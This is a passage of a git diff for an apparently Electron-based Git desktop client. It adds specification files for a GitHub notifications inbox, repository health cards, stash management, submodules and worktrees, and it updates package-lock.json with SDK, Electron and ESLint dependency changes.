b/openspec/specs/notifications-inbox/spec.md @@ -0,0 +1,98 @@ +# notifications-inbox Specification + +## Purpose +Gives users one in-app inbox for GitHub activity that needs their attention, such as review requests, failing checks and mentions, with badges and desktop alerts, so they do not have to keep the GitHub notifications page open. + +## Requirements + +### Requirement: Inbox panel with unread badge +The system SHALL show a bell in the toolbar with the count of unread GitHub notifications and open an Inbox panel listing notifications grouped by repository, newest first, each with a reason chip, title, actor, relative time and unread indicator. The panel MUST offer filters for all, review requests, failures, mentions, and only repositories present in the app. + +#### Scenario: New notification appears +- **WHEN** a new notification is created on GitHub for the signed-in user +- **THEN** within one poll interval the bell count increases and the item appears at the top of its repository group marked unread + +#### Scenario: Filter to failures +- **WHEN** the user selects the *Failures* filter +- **THEN** only notifications whose reason is a failed check are listed and the badge count is unchanged + +### Requirement: Polling respects server guidance and conserves quota +The system SHALL poll the notifications API no more often than the greater of the server-provided poll interval and the user's configured interval, MUST send conditional requests using the server's last-modified value, and MUST treat a not-modified response as no change. Polling MUST pause after 30 minutes without window focus and resume on focus. + +#### Scenario: Not modified +- **WHEN** the server responds that nothing changed since the last poll +- **THEN** the list, badge and cache are left untouched and no items are re-fetched + +#### Scenario: Server asks for a longer interval +- **WHEN** the server's poll-interval header is longer than the configured interval +- **THEN** the next poll is scheduled no sooner than the server's interval + +#### Scenario: Idle pause +- **WHEN** the window has not been focused for more than 30 minutes +- **THEN** polling stops until the window regains focus, at which point a poll runs immediately + +### Requirement: Open notifications in place +The system SHALL open a notification's subject inside the app when the repository is in the app's repository list and the subject is a pull request, otherwise in the browser. Opening an item MUST mark it read. + +#### Scenario: Pull request in a known repository +- **WHEN** the user clicks a review-request notification for a pull request in a repository that is in the app +- **THEN** the Pull Request dialog opens on that pull request and the notification is marked read + +#### Scenario: Subject in an unknown repository +- **WHEN** the user clicks a notification for a repository not in the app +- **THEN** the notification's web page opens in the browser and the notification is marked read + +### Requirement: Read, unsubscribe and bulk actions +The system SHALL let the user mark a notification read, unsubscribe from its thread, open it on GitHub, mark all notifications read, and refresh. Mark all read MUST ask for confirmation once, with an option to remember the choice. + +#### Scenario: Mark all read +- **WHEN** the user clicks *Mark all read* and confirms +- **THEN** GitHub records all notifications as read, every item loses its unread indicator and the badge shows zero + +#### Scenario: Unsubscribe +- **WHEN** the user unsubscribes from a thread +- **THEN** GitHub removes the subscription and the item is removed from the list + +### Requirement: Desktop notifications for enabled categories +The system SHALL send a desktop notification for each new inbox item whose category is enabled in settings, only while the window is unfocused. Clicking the desktop notification MUST focus the app and select the item. The first poll after a fresh install or a cache clear (i.e. one with no prior conditional-request cursor) MUST populate the panel and badge with the account's existing unread notifications but MUST NOT treat any of them as newly arrived for the purpose of desktop notifications. + +#### Scenario: Review request while unfocused +- **WHEN** a review request arrives, review-request desktop alerts are enabled and the window is not focused +- **THEN** a desktop notification is shown and clicking it focuses the app with the item selected in the Inbox panel + +#### Scenario: Category disabled +- **WHEN** a mention arrives and mention alerts are disabled +- **THEN** no desktop notification is shown, but the item still appears in the panel and badge + +#### Scenario: First sync after install or cache clear +- **WHEN** the very first notifications poll runs after install, sign-in, or *Clear inbox cache*, and the account already has unread GitHub notifications +- **THEN** those notifications appear in the panel and badge but no desktop notification is shown for any of them + +### Requirement: Badge on tray or dock +The system SHALL show the unread count as a taskbar overlay on Windows, a dock badge on macOS, and a launcher count on Linux where the desktop supports it, and clear it when the count is zero. + +#### Scenario: Count clears +- **WHEN** the last unread notification is marked read +- **THEN** the platform badge is removed + +### Requirement: Missing scope and degraded states +The system SHALL detect that the GitHub token lacks the `notifications` scope and offer a one-click scope refresh through the existing sign-in flow. When signed out, the bell MUST show a dot and open the sign-in card; when the GitHub CLI is unavailable the bell MUST be hidden; when rate-limited the panel MUST show the reset time and pause polling; when offline the last cached list MUST be shown with a stale timestamp. + +#### Scenario: Scope missing +- **WHEN** the token lacks the `notifications` (or `repo`) scope +- **THEN** the panel explains the missing scope and offers *Grant access*, which runs the device-flow sign-in requesting the scope and then polls successfully + +#### Scenario: Rate limited +- **WHEN** the notifications API returns a rate-limit error +- **THEN** the panel shows a banner with the reset time, the bell shows a paused marker, and no poll runs until that time + +#### Scenario: Offline +- **WHEN** the network is unavailable +- **THEN** the panel shows the cached items with a *Last updated* timestamp and a stale banner + +### Requirement: Cache privacy +The system SHALL cache notification items on disk only under the app's user-data directory and SHALL provide a *Clear inbox cache* action in Options → Advanced that deletes the cache. + +#### Scenario: Clear cache +- **WHEN** the user clicks *Clear inbox cache* +- **THEN** the cache file is deleted and the panel reloads from GitHub on the next poll diff --git a/openspec/specs/repo-health/spec.md b/openspec/specs/repo-health/spec.md new file mode 100644 index 0000000..342674c --- /dev/null +++ b/openspec/specs/repo-health/spec.md @@ -0,0 +1,92 @@ +# repo-health Specification + +## Purpose +Surfaces what makes a repository slow or risky, such as large blobs in history, stale branches and unpushed work, and offers explicitly confirmed clean-up actions with an undo path where git allows one. + +## Requirements + +### Requirement: Health view with independent cards +A Repository health view, reachable from the Repository menu, a keyboard shortcut and a card on the Welcome screen, SHALL show four cards (Large files, Stale branches, Unpushed work, Housekeeping) that load, fail and retry independently, each showing progress while loading and supporting cancellation. The view SHALL show a single empty state for a repository with no commits. + +#### Scenario: One card fails +- **WHEN** the large-files scan fails +- **THEN** that card shows the error with a Retry control while the other three cards show their results + +#### Scenario: Cancel a slow scan +- **WHEN** the user cancels the large-files scan while it is running +- **THEN** the card returns to its idle state and no partial results are shown as complete + +#### Scenario: Unborn repository +- **WHEN** the repository has no commits +- **THEN** the view shows one empty state instead of four cards + +### Requirement: Large files card +The Large files card SHALL list the 25 largest blobs across the whole history with path, size, the commit that first added it, whether it is still present at HEAD and whether it would have been an LFS pointer. Each row SHALL offer Copy path, Add pattern to .gitignore and, when LFS is installed, Track with LFS. Paths containing spaces MUST be shown intact. + +#### Scenario: Deleted large blob +- **WHEN** a 10 MB file was committed and later deleted +- **THEN** it appears in the card with its size, first commit and "not at HEAD" + +#### Scenario: Path with spaces +- **WHEN** a large blob's path contains spaces +- **THEN** the full path is displayed and copied correctly + +#### Scenario: LFS not installed +- **WHEN** git-lfs is not available +- **THEN** the Track with LFS action is hidden + +### Requirement: Stale branches card +The Stale branches card SHALL classify local branches as merged into the default branch, inactive for more than the configured number of days, or having a gone upstream, and SHALL list remote-tracking branches whose remote branch no longer exists. The current branch, the default branch and branches known to be protected MUST NOT be selectable for deletion. + +#### Scenario: Classification +- **WHEN** the repository has a merged branch, a branch with no commits in 120 days, and a branch whose upstream was deleted +- **THEN** each is listed with the matching reason + +#### Scenario: Protected rows +- **WHEN** the current or default branch would otherwise qualify as stale +- **THEN** it is shown without a selection checkbox + +### Requirement: Bulk branch deletion with undo +The user SHALL be able to select stale branches and delete them after a confirmation that lists each branch with its reason and tip commit, with an option, off by default, to also delete the remote branch. Failures SHALL be reported per branch without stopping the others. A toast after local deletion SHALL offer Undo, which recreates the deleted local branches at their recorded tips. + +#### Scenario: Delete selected +- **WHEN** the user selects three branches and confirms without the remote option +- **THEN** the three local branches are deleted, remote branches are untouched and the toast offers Undo + +#### Scenario: Partial failure +- **WHEN** one of the selected branches cannot be deleted +- **THEN** the others are deleted and the failure is reported for that branch by name + +#### Scenario: Undo +- **WHEN** the user clicks Undo within the toast's lifetime +- **THEN** the deleted local branches exist again at the same commits + +### Requirement: Unpushed work across repositories +The Unpushed work card and the Welcome screen card SHALL list, for every repository in the list that exists on disk, branches ahead of their upstream with the count, branches without an upstream, the number of stashes and the number of uncommitted changes. Clicking an entry SHALL open that repository on that branch. An opt-in indicator SHALL mark repository rows with unpushed work. Missing repositories SHALL be skipped. + +#### Scenario: Aggregate view +- **WHEN** repository A has a branch 2 ahead and repository B has an unpublished branch and one stash +- **THEN** both repositories are listed with those items + +#### Scenario: Navigate +- **WHEN** the user clicks the ahead branch of repository A +- **THEN** the app switches to repository A with that branch checked out or selected + +#### Scenario: Missing repository +- **WHEN** a listed repository's directory no longer exists +- **THEN** it is skipped without an error + +### Requirement: Housekeeping card +The Housekeeping card SHALL show the size of the git directory, loose object count, pack count and size, garbage count and the time of the last garbage collection, matching git's own object counts. It SHALL offer Run gc, Prune remotes and Expire reflog, each behind a two-step confirmation that explains what becomes unrecoverable, and all disabled while another operation is in progress. + +#### Scenario: Numbers match git +- **WHEN** the card loads +- **THEN** loose object and pack counts equal those reported by git's count-objects + +#### Scenario: Expire reflog +- **WHEN** the user confirms both steps of Expire reflog +- **THEN** the reflog is expired and the card reloads its numbers + +#### Scenario: Blocked during an operation +- **WHEN** a fetch, merge or rebase is in progress +- **THEN** the housekeeping actions are disabled diff --git a/openspec/specs/stash/spec.md b/openspec/specs/stash/spec.md index 2b86653..615c253 100644 --- a/openspec/specs/stash/spec.md +++ b/openspec/specs/stash/spec.md @@ -25,30 +25,80 @@ The user SHALL be able to stash all current changes from the Changes tab, includ - **THEN** the working tree becomes clean and a new stash appears in the stash list ### Requirement: Stash list -The Changes tab SHALL list every stash in the repository with its message, whether it was created by the app, and the branch it belongs to when known, with stashes for the current branch listed first. +A dedicated Stashes view, reachable from the Changes tab header (showing the stash count), the Repository menu and a keyboard shortcut, SHALL list every stash in the repository newest first with its message, branch when known ("Unknown branch" otherwise), relative date, an indicator when it was created by the app, and its file count. The list SHALL refresh when repository refs change, including stashes created or dropped outside the app. #### Scenario: Stashes from the terminal - **WHEN** a stash was created outside the app -- **THEN** it still appears in the list, marked as not created by the app +- **THEN** it appears in the view with its message and file count, marked as not created by the app, and with "Unknown branch" when the branch cannot be derived + +#### Scenario: Open the view +- **WHEN** the user clicks the Stashes button in the Changes tab header or presses the shortcut +- **THEN** the Stashes view opens with the newest stash listed first + +#### Scenario: Empty state +- **WHEN** the repository has no stashes +- **THEN** the view shows "No stashes" and a hint that files can be stashed from the Changes tab context menu ### Requirement: Inspect a stash -Selecting a stash SHALL list the files it contains and show the diff of a selected file against the stash's parent commit. +Selecting a stash SHALL list the files it contains, including untracked files carried by the stash, and selecting a file SHALL show its diff against the stash's parent commit. File lists SHALL be capped at 2,000 entries with a "Show more" control. #### Scenario: View stashed file -- **WHEN** the user selects a stash and one of its files +- **WHEN** the user selects a stash and one of its tracked files - **THEN** the diff pane shows the stashed changes for that file +#### Scenario: View untracked stashed file +- **WHEN** the user selects a stash that carries untracked files and picks one of them +- **THEN** the file is listed and its full content is shown as an added file + +#### Scenario: Selected stash disappears +- **WHEN** the selected stash is dropped from outside the app +- **THEN** the view returns to an empty selection without an error + ### Requirement: Restore and discard a stash -The user SHALL be able to apply a stash while keeping it, restore it (apply and drop), or discard it. Discarding SHALL ask for confirmation when the corresponding confirmation setting is on. A restore that conflicts SHALL keep the stash and start the conflict flow. +The user SHALL be able to apply a stash while keeping it, pop it (apply and drop), or drop it. Drop SHALL ask for confirmation when the corresponding confirmation setting is on, showing the message, branch and file count and stating that the stash cannot be recovered from the app. An apply or pop that conflicts SHALL keep the stash and start the conflict flow. Every stash action SHALL address the stash by its SHA and MUST fail with "Stash no longer exists" rather than act on a different entry when that SHA is gone. #### Scenario: Apply and keep -- **WHEN** the user chooses "Apply (keep stash)" +- **WHEN** the user chooses Apply - **THEN** the changes are applied to the working tree and the stash remains listed +#### Scenario: Pop +- **WHEN** the user chooses Pop and the changes apply cleanly +- **THEN** the changes are applied and the stash is removed from the list + #### Scenario: Restore with conflicts -- **WHEN** restoring a stash conflicts with the working tree +- **WHEN** popping or applying a stash conflicts with the working tree - **THEN** the conflict banner appears and the stash is still listed #### Scenario: Discard -- **WHEN** the user confirms "Discard stash" +- **WHEN** the user confirms the drop of a stash - **THEN** the stash is removed from the list + +#### Scenario: Drop after another drop +- **WHEN** the user drops stash A and then drops stash B, which was listed below A +- **THEN** exactly B is removed, even though its `stash@{N}` index changed after A was dropped + +#### Scenario: Drop a vanished stash +- **WHEN** the user drops a stash whose SHA is no longer in the stash list +- **THEN** the app reports "Stash no longer exists" and refreshes the list without dropping anything + +### Requirement: Create branch from stash +The user SHALL be able to create a new branch from a stash; the branch is created at the stash's parent commit, checked out with the stash applied, and the stash is removed. Failures because the branch exists or the working tree is dirty SHALL be reported with git's message. + +#### Scenario: Successful branch from stash +- **WHEN** the user enters a new branch name and confirms +- **THEN** the branch is checked out with the stashed changes uncommitted in the working tree and the stash is gone from the list + +#### Scenario: Branch already exists +- **WHEN** the entered branch name already exists +- **THEN** the error is shown and no stash is removed + +### Requirement: Stash selected files +When one or more files are selected in the Changes tab, the user SHALL be able to stash only those files with an optional message and an option to include untracked files; the rest of the working tree MUST remain untouched. + +#### Scenario: Stash a subset +- **WHEN** the user selects two of five changed files and confirms "Stash selected files" +- **THEN** a stash containing exactly those two files is created and the other three remain changed in the working tree + +#### Scenario: Cancel +- **WHEN** the user cancels the stash dialog +- **THEN** no stash is created and the working tree is unchanged diff --git a/openspec/specs/submodules/spec.md b/openspec/specs/submodules/spec.md new file mode 100644 index 0000000..6e7340f --- /dev/null +++ b/openspec/specs/submodules/spec.md @@ -0,0 +1,53 @@ +# submodules Specification + +## Purpose +Shows the state of every submodule in a repository and lets users initialize, update, sync and open them, so cloned repositories are never left with silently empty directories. + +## Requirements + +### Requirement: Submodules dialog lists state +The system SHALL provide a Submodules dialog from the Repository menu listing each submodule, including nested ones up to three levels, with its path, URL, recorded commit, checked-out commit and one of the states: up to date, not initialized, modified, differs from recorded, conflicted, missing. + +#### Scenario: Uninitialized submodule +- **WHEN** the repository has a submodule whose directory is empty +- **THEN** the dialog lists it as not initialized with its URL and recorded commit + +#### Scenario: Submodule moved to another commit +- **WHEN** a submodule's checked-out commit differs from the commit recorded in the superproject +- **THEN** the dialog lists it as differs from recorded, showing both commits + +#### Scenario: Relative URL +- **WHEN** a submodule URL is relative (for example `../lib.git`) +- **THEN** the dialog displays it resolved against the superproject's origin, without changing the stored configuration + +### Requirement: Initialize and update submodules +The system SHALL offer Initialize and update all, per-submodule Update, and Sync URLs. Updates MUST show transfer progress, be cancellable, and leave each updated submodule at its recorded commit. + +#### Scenario: Initialize all after clone +- **WHEN** the user clicks *Initialize and update all* +- **THEN** every submodule is checked out at its recorded commit, progress is shown while fetching, and the dialog states show up to date + +#### Scenario: Network failure +- **WHEN** a submodule update fails because the remote is unreachable +- **THEN** the classified network error is shown and other submodules' states are unaffected + +### Requirement: Post-clone banner +The system SHALL show a banner after cloning or opening a repository that has a `.gitmodules` file and at least one uninitialized submodule, offering to initialize and update all. + +#### Scenario: Banner appears +- **WHEN** a repository with uninitialized submodules is cloned +- **THEN** a banner offers *Initialize and update all* and disappears once no submodule is uninitialized + +### Requirement: Open submodule as repository +The system SHALL let the user open a submodule as its own repository in the repository list, nested under its parent, and show it in the file manager. + +#### Scenario: Open as repository +- **WHEN** the user clicks *Open as repository* on a submodule +- **THEN** the submodule appears in the repository list linked to its parent and becomes the current repository + +### Requirement: Submodule rows in Changes and diff pane +The system SHALL show submodule changes in the Changes tab with the diff pane's submodule summary, which MUST offer *Update to recorded commit* and *Open submodule*. + +#### Scenario: Update to recorded commit +- **WHEN** the user clicks *Update to recorded commit* on a modified submodule row +- **THEN** the submodule is checked out at the commit recorded in the current HEAD and the row disappears from Changes diff --git a/openspec/specs/worktrees/spec.md b/openspec/specs/worktrees/spec.md new file mode 100644 index 0000000..7f2d52c --- /dev/null +++ b/openspec/specs/worktrees/spec.md @@ -0,0 +1,84 @@ +# worktrees Specification + +## Purpose +Lets a user keep several branches of one repository checked out side by side as git worktrees, and manage them from the app without touching the terminal. + +## Requirements + +### Requirement: Worktree list +A Worktrees dialog, reachable from the Repository menu and a keyboard shortcut, SHALL list every worktree of the current repository including the main one, showing its path, its branch or detached commit, badges for main, locked (with the lock reason when present) and prunable entries, and whether it has uncommitted changes. The dialog SHALL have loading, empty ("This repository has no additional worktrees") and error-with-retry states. + +#### Scenario: List with mixed entries +- **WHEN** the repository has a main worktree, a worktree on a branch, a detached worktree and a locked worktree +- **THEN** all four are listed with the correct branch or commit and the correct badges + +#### Scenario: Prunable entry +- **WHEN** a worktree's directory has been deleted from disk +- **THEN** its row shows a prunable badge with git's reason + +### Requirement: Add a worktree +The user SHALL be able to add a worktree for an existing local or remote branch, for a new branch created from a chosen start point, or detached at a commit, choosing a directory that defaults to a sibling of the repository named after the repository and branch. On success the worktree SHALL be added to the repository list and opened. If the branch is already checked out in another worktree, the error SHALL say so and offer to open that worktree. + +#### Scenario: Existing branch +- **WHEN** the user picks an existing local branch and confirms +- **THEN** a worktree is created at the chosen directory on that branch and the app switches to it + +#### Scenario: New branch +- **WHEN** the user chooses "new branch", enters a name and a start point, and confirms +- **THEN** the branch is created at the start point and checked out in the new worktree + +#### Scenario: Detached +- **WHEN** the user chooses a commit to check out detached +- **THEN** the worktree is created with a detached HEAD at that commit + +#### Scenario: Branch in use elsewhere +- **WHEN** the chosen branch is already checked out in another worktree +- **THEN** the dialog reports that and offers "Open that worktree" + +### Requirement: Worktrees in the repository list +Worktrees SHALL appear in the repository list nested under their main repository, labelled with their branch name, each with its own ahead/behind indicator. Selecting one SHALL switch the app to that worktree with every view reflecting its working tree and branch. Removing the main repository from the list SHALL warn that its worktrees will be removed from the list too. + +#### Scenario: Switch between worktrees +- **WHEN** the user selects a nested worktree in the repository list +- **THEN** the Changes, History and Branches views show that worktree's state + +#### Scenario: Remove main repository +- **WHEN** the user removes a repository that has listed worktrees +- **THEN** the confirmation mentions the worktrees and they disappear from the list together with it + +### Requirement: Open, lock and unlock +From a worktree row the user SHALL be able to open it in the app, show it in the file manager, open it in the configured editor or terminal, and lock or unlock it with an optional reason. A locked worktree MUST NOT be removable until unlocked. + +#### Scenario: Open in editor +- **WHEN** the user chooses "Open in editor" on a worktree +- **THEN** the configured editor opens at that worktree's path + +#### Scenario: Locked removal blocked +- **WHEN** the user tries to remove a locked worktree +- **THEN** the Remove action is unavailable and the row indicates it must be unlocked first + +### Requirement: Remove and prune +Removing a worktree SHALL require confirmation stating that its directory will be deleted and not moved to the Recycle Bin. If the worktree has uncommitted changes, the confirmation SHALL show the number of changed files and require a second explicit confirmation before forcing the removal. Prune SHALL run only after a confirmation listing the entries that will be pruned. + +#### Scenario: Remove clean worktree +- **WHEN** the user confirms removal of a worktree with no changes +- **THEN** the directory is deleted, the entry disappears from the dialog and the repository list + +#### Scenario: Remove dirty worktree +- **WHEN** the worktree has uncommitted changes +- **THEN** the dialog shows the changed-file count and removal happens only after a second confirmation + +#### Scenario: Prune +- **WHEN** the user confirms Prune with two prunable entries listed +- **THEN** those entries are removed and the remaining worktrees are unaffected + +### Requirement: Branch checkout conflicts and cross-worktree refresh +Checking out a branch that is active in another worktree SHALL fail with a message naming that worktree and offer to open it. A commit or branch created in one worktree SHALL be reflected in the branch list of the other worktrees within the file watcher's polling interval. + +#### Scenario: Checkout blocked +- **WHEN** the user checks out a branch that another worktree has checked out +- **THEN** the error names the other worktree and offers to open it + +#### Scenario: Refresh across worktrees +- **WHEN** a branch is created in worktree A +- **THEN** worktree B's branch list shows it after the next watcher refresh diff --git a/package-lock.json b/package-lock.json index a3b6440..4b7fb54 100644 --- a/package-lock.json +++ b/package-lock.json @@ -10,7 +10,7 @@ "hasInstallScript": true, "license": "MIT", "dependencies": { - "@anthropic-ai/sdk": "^0.126.0", + "@anthropic-ai/sdk": "^0.131.0", "electron-updater": "6.8.9", "highlight.js": "^11.12.0", "react": "^19.3.0", @@ -20,19 +20,22 @@ "@types/node": "^24.0.0", "@types/react": "^19.3.0", "@types/react-dom": "^19.3.0", + "@typescript-eslint/parser": "^8.71.0", "@vitejs/plugin-react": "^5.1.0", - "electron": "^44.4.1", + "electron": "^44.5.1", "electron-builder": "^26.15.3", "electron-vite": "^5.0.0", + "eslint": "^10.11.0", + "eslint-plugin-react-hooks": "^7.1.1", "typescript": "^5.9.0", "vite": "^7.3.0", "vitest": "^5.0.1" } }, "node_modules/@anthropic-ai/sdk": { - "version": "0.126.0", - "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.126.0.tgz", - "integrity": "sha512-VhiZl6rA/8uC+MgDaOhEcAWaIZ2tPnIY885jlZqxrGrutUW2nqCtophBtlsX0tk5kChBUjV/1NVjL3y0M4OwUg==", + "version": "0.131.0", + "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.131.0.tgz", + "integrity": "sha512-9+PepoU7qVMmM70jSahdnfcMHAvAnzhMOLv2W9WjRLO+OG/MAiBETkwKZqv7KIJ1Cj5h8eZ019bHzZaq+Mbepw==", "license": "MIT", "dependencies": { "json-schema-to-ts": "^3.1.1", @@ -357,6 +360,67 @@ "node": ">=6.9.0" } }, + "node_modules/@cacheable/memory": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@cacheable/memory/-/memory-2.2.0.tgz", + "integrity": "sha512-CTLKqLItRCEixEAewD3/j9DB3/o96gpTPD4eJ1v+DGOlxZRZncRQkGYqqnAGCscYd6RNeXfGeiuCphsPtqyIfQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@cacheable/utils": "^2.5.0", + "@keyv/bigmap": "^1.3.1", + "hookified": "^1.15.1", + "keyv": "^5.6.0" + } + }, + "node_modules/@cacheable/memory/node_modules/@keyv/bigmap": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/@keyv/bigmap/-/bigmap-1.3.1.tgz", + "integrity": "sha512-WbzE9sdmQtKy8vrNPa9BRnwZh5UF4s1KTmSK0KUVLo3eff5BlQNNWDnFOouNpKfPKDnms9xynJjsMYjMaT/aFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "hashery": "^1.4.0", + "hookified": "^1.15.0" + }, + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "keyv": "^5.6.0" + } + }, + "node_modules/@cacheable/memory/node_modules/keyv": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.6.0.tgz", + "integrity": "sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, + "node_modules/@cacheable/utils": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@cacheable/utils/-/utils-2.5.0.tgz", + "integrity": "sha512-buipgOVDkkPXNR5+xBpDw7Zk2n1EvU7qBJCNUcL7rhQ//kfpOXPAvQ511Os0vpLYJ1pZnvudNytkQt2hst3wqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "hashery": "^1.5.1", + "keyv": "^5.6.0" + } + }, + "node_modules/@cacheable/utils/node_modules/keyv": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.6.0.tgz", + "integrity": "sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, "node_modules/@electron-internal/extract-zip": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/@electron-internal/extract-zip/-/extract-zip-1.0.5.tgz", @@ -1116,6 +1180,179 @@ "node": ">=18" } }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.10.1", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.10.1.tgz", + "integrity": "sha512-cuadcxVFE8sDK6iWJbs8Sn0av2Nrh2QSGQhVlBW9AaAHqHwjWsZHT8LJ4hFGPh7ASBV2deFdM7H/DPjulmh8rg==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^3.4.3" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", + "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/config-array": { + "version": "0.23.5", + "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.23.5.tgz", + "integrity": "sha512-Y3kKLvC1dvTOT+oGlqNQ1XLqK6D1HU2YXPc52NmAlJZbMMWDzGYXMiPRJ8TYD39muD/OTjlZmNJ4ib7dvSrMBA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/object-schema": "^3.0.5", + "debug": "^4.3.1", + "minimatch": "^10.2.4" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/config-helpers": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.7.0.tgz", + "integrity": "sha512-DObd/KKUsU+FaFv4PLxSRenpXfQWmPXXP3pPZ6/K1PCrMu2vQpMDMuQe/BqYeoLcz8ro0bVDF1RxOJgfVEdhUw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^1.2.1" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/core": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@eslint/core/-/core-1.2.1.tgz", + "integrity": "sha512-MwcE1P+AZ4C6DWlpin/OmOA54mmIZ/+xZuJiQd4SyB29oAJjN30UW9wkKNptW2ctp4cEsvhlLY/CsQ1uoHDloQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@types/json-schema": "^7.0.15" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/object-schema": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-3.0.5.tgz", + "integrity": "sha512-vqTaUEgxzm+YDSdElad6PiRoX4t8VGDjCtt05zn4nU810UIx/uNEV7/lZJ6KwFThKZOzOxzXy48da+No7HZaMw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/plugin-kit": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.7.3.tgz", + "integrity": "sha512-IkO+/KEUvwbVpiURZg+P7zF74z5Jxe0UgJxVni+RtoHQ6IZieXaO02kmadomap/q+l6bc/jdPGGqTjhuZnuz1Q==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^1.2.1", + "levn": "^0.4.1" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@humanfs/core": { + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz", + "integrity": "sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/types": "^0.15.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/node": { + "version": "0.16.8", + "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.8.tgz", + "integrity": "sha512-gE1eQNZ3R++kTzFUpdGlpmy8kDZD/MLyHqDwqjkVQI0JMdI1D51sy1H958PNXYkM2rAac7e5/CnIKZrHtPh3BQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/core": "^0.19.2", + "@humanfs/types": "^0.15.0", + "@humanwhocodes/retry": "^0.4.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/types": { + "version": "0.15.0", + "resolved": "https://registry.npmjs.org/@humanfs/types/-/types-0.15.0.tgz", + "integrity": "sha512-ZZ1w0aoQkwuUuC7Yf+7sdeaNfqQiiLcSRbfI08oAxqLtpXQr9AIVX7Ay7HLDuiLYAaFPu8oBYNq/QIi9URHJ3Q==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/retry": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", + "integrity": 